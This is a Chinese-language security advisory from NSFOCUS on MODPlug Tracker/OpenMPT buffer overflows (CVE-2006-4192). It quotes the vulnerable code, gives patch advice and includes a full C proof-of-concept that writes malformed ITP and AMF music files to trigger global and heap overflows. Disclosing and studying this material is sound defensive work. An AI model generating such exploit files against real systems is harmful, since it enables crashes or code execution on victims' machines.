安全研究

安全漏洞
MODPlug Tracker多个缓冲区溢出漏洞

发布日期:2006-08-09
更新日期:2006-11-03

受影响系统:
MODPlug Central OpenMPT <= 1.17.02.43
Olivier Lapicque libmodplug <= 0.8
描述:
BUGTRAQ  ID: 19448
CVE(CAN) ID: CVE-2006-4192

MODPlug Tracker(也称为OpenMPT)允许用户在基于Windows的PC上创建音乐。

OpenMPT的ReadITProject函数没有过滤ITP文件中的文本字段,允许攻击者覆盖全局变量,执行恶意代码。请注意libmodplug中不支持ITP文件。

soundlib/Load_it.cpp中的漏洞代码:

BOOL CSoundFile::ReadITProject(LPCBYTE lpStream, DWORD dwMemLength)
{
    ...
// Song name

    // name string length
    memcpy(&id,lpStream+streamPos,sizeof(DWORD));
    len = id;
    streamPos += sizeof(DWORD);

    // name string
    memcpy(&m_szNames[0],lpStream+streamPos,len);
    streamPos += len;
    ...
    (other overflows)
    ...

此外,攻击者还可以通过无效的nLength值触发ReadSample函数的多个模块中的堆溢出。如下所示nLength每次增加6字节(mem),在某些情况下会将这个值乘以2,然后将得到的值用于分配pIns->pSample。如果攻击者能够强制程序分配0字节的话,就会通过memcpy指令溢出内存。

soundlib/Sndfile.cpp中的漏洞代码:

UINT CSoundFile::ReadSample(MODINSTRUMENT *pIns, UINT nFlags, LPCSTR lpMemFile, DWORD dwMemLength)
//------------------------------------------------------------------------------------------------
{
    UINT len = 0, mem = pIns->nLength+6;

    if ((!pIns) || (pIns->nLength < 4) || (!lpMemFile)) return 0;
    if (pIns->nLength > MAX_SAMPLE_LENGTH) pIns->nLength = MAX_SAMPLE_LENGTH;
    ...
    if ((pIns->pSample = AllocateSample(mem)) == NULL)
    ...
    default:
        len = pIns->nLength;
        if (len > dwMemLength) len = pIns->nLength = dwMemLength;
        memcpy(pIns->pSample, lpMemFile, len);
    }
    ...

<*来源:Luigi Auriemma (aluigi@pivx.com
  
  链接:http://secunia.com/advisories/22658/
        http://aluigi.altervista.org/adv/mptho-adv.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#ifdef WIN32
    #include <winsock.h>    // htonl
#else
    #include <netinet/in.h>
#endif



#define VER             "0.1"
#define HEAPOVERSZ      512
#define ITPHEAPOVERSZ   150000
#define ALLOCSAMPLESZ   ((39 & ~7) + 16)
#define SONG_ITPROJECT  0x20000


void fwbof(FILE *fd, int len, int chr);
void fwi32(FILE *fd, int num);
void std_err(void);



#pragma pack(1)

typedef struct {
    uint8_t     sign[35];
    uint8_t     patterns;
    uint8_t     orders;
    uint8_t     dunno1;
    uint8_t     dunno2[256];
} amf_head_t;

typedef struct {
    uint8_t     name[22];
    uint8_t     finetune;
    uint8_t     volume;
    uint8_t     dunno1;
    uint32_t    length;
    uint32_t    reppos;
    uint32_t    replen;
} amf_smp_t;

#pragma pack()



int main(int argc, char *argv[]) {
    amf_head_t      amf_head;
    amf_smp_t       amf_smp;
    FILE    *fd;
    int     i,
            attack;
    char    *fname;

    setbuf(stdout, NULL);

    fputs("\n"
        "OpenMPT <= 1.17.02.43 and SVN <= 157 stack and heap overflows "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <attack> <output_file>\n"
            "\n"
            "Attacks:\n"
            " 1 = various global buffer overflows in ReadITProject (*.ITP)\n"
            " 2 = heap overflow in ReadSample                      (*.AMF)\n"
            "\n", argv[0]);
        exit(1);
    }

    attack = atoi(argv[1]);
    fname  = argv[2];

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();

    if(attack == 1) {
        fwi32(fd, 0x2e697470);          // .itp
        fwi32(fd, 0x00000000);          // version
        fwi32(fd, ITPHEAPOVERSZ);       // song name len
        fwbof(fd, ITPHEAPOVERSZ, 'a');  // song name
        fwi32(fd, 0);                   // comments len
        fwi32(fd, SONG_ITPROJECT);      // m_dwSongFlags
        fwi32(fd, 128);                 // m_nDefaultGlobalVolume
        fwi32(fd, 0);                   // m_nSongPreAmp
        fwi32(fd, 0);                   // m_nDefaultSpeed
        fwi32(fd, 0);                   // m_nDefaultTempo
        fwi32(fd, 0);                   // m_nChannels
        fwi32(fd, 0);                   // channel name len
        // for(i=0; i<m_nChannels; i++){
        fwi32(fd, 0);                   // LoadMixPlugins len
        fwi32(fd, 0);                   // m_MidiCfg len
        fwi32(fd, 0);                   // m_nInstruments
        fwi32(fd, 0);                   // path instruments len
        fwi32(fd, 0);                   // order len
        fwi32(fd, 0);                   // number of patterns
        fwi32(fd, 0);                   // m_nPatternNames
        fwi32(fd, 0);                   // m_lpszPatternNames len
        fwi32(fd, 0);                   // modcommand data length
        fwi32(fd, 0);                   // m_nSamples
        fwi32(fd, 0);                   // Read number of embeded samples

    } else if(attack == 2) {
        memset(&amf_head, 0, sizeof(amf_head));
        memset(&amf_smp,  0, sizeof(amf_smp));

        strcpy(amf_head.sign, "ASYLUM Music Format V1.0");
        amf_head.patterns = 1;
        amf_head.orders   = 1;
        fwrite(&amf_head, sizeof(amf_head), 1, fd);

        for(i = 0; i < 64; i++) {
            sprintf(amf_smp.name, "sample %d", i);
            amf_smp.finetune = 0;
            amf_smp.volume   = 64;
            amf_smp.length   = ((0 - 6) - 39) + 16; // ReadSample and AllocateSample
            amf_smp.reppos   = 0;
            amf_smp.replen   = 0;
            fwrite(&amf_smp, sizeof(amf_smp), 1, fd);
        }

        fwbof(fd, 64 * 32, 0x00);

        fwbof(fd, ALLOCSAMPLESZ + HEAPOVERSZ, 'a');
    }

    fclose(fd);
    printf("- finished\n");
    return(0);
}



void fwbof(FILE *fd, int len, int chr) {
    while(len--) fputc(chr, fd);
}



void fwi32(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
    fputc((num >> 16) & 0xff, fd);
    fputc((num >> 24) & 0xff, fd);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

建议:
厂商补丁:

MODPlug Central
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://sourceforge.net/project/showfiles.php?group_id=1275

浏览次数:3508
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障